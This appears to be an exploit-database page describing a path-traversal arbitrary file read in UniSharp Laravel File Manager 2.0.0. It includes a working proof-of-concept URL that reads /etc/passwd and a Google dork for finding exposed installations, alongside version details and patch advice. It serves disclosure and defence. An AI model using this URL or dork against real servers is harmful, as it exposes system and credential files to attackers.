header-logo
Suggest Exploit
vendor:
Laravel File Manager
by:
NgoAnhDuc
7.5
CVSS
HIGH
Arbitrary File Read
22
CWE
Product Name: Laravel File Manager
Affected Version From: v2.0.0-alpha8
Affected Version To: v2.0.0
Patch Exists: YES
Related CWE: N/A
CPE: a:unisharp:laravel_filemanager:2.0.0
Metasploit: N/A
Other Scripts: N/A
Platforms Tested: v2.0.0-alpha8 & v2.0.0
2020

UniSharp Laravel File Manager 2.0.0 – Arbitrary File Read

UniSharp Laravel File Manager version 2.0.0-alpha8 and 2.0.0 is vulnerable to an arbitrary file read vulnerability. An attacker can craft a malicious URL to read any file on the server. The URL is crafted by appending the file path to the working_dir parameter in the download request. For example, http://localhost/laravel-filemanager/download?working_dir=%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2F&type=&file=passwd can be used to read the /etc/passwd file.

Mitigation:

The vendor has released a patch to address this vulnerability. Users should upgrade to the latest version of the software.
Source

Exploit-DB raw data:

# Exploit Title: UniSharp Laravel File Manager 2.0.0 - Arbitrary File Read
# Google Dork: inurl:"laravel-filemanager?type=Files" -site:github.com -site:github.io
# Date: 2020-02-04
# Exploit Author: NgoAnhDuc
# Vendor Homepage: https://github.com/UniSharp/laravel-filemanager
# Software Link: https://github.com/UniSharp/laravel-filemanager
# Version: v2.0.0-alpha8 & v2.0.0
# Tested on: v2.0.0-alpha8 & v2.0.0
# CVE : N/A

PoC:

http://localhost/laravel-filemanager/download?working_dir=%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2F&type=&file=passwd

Navigation

Suggest Exploit

Services By CQR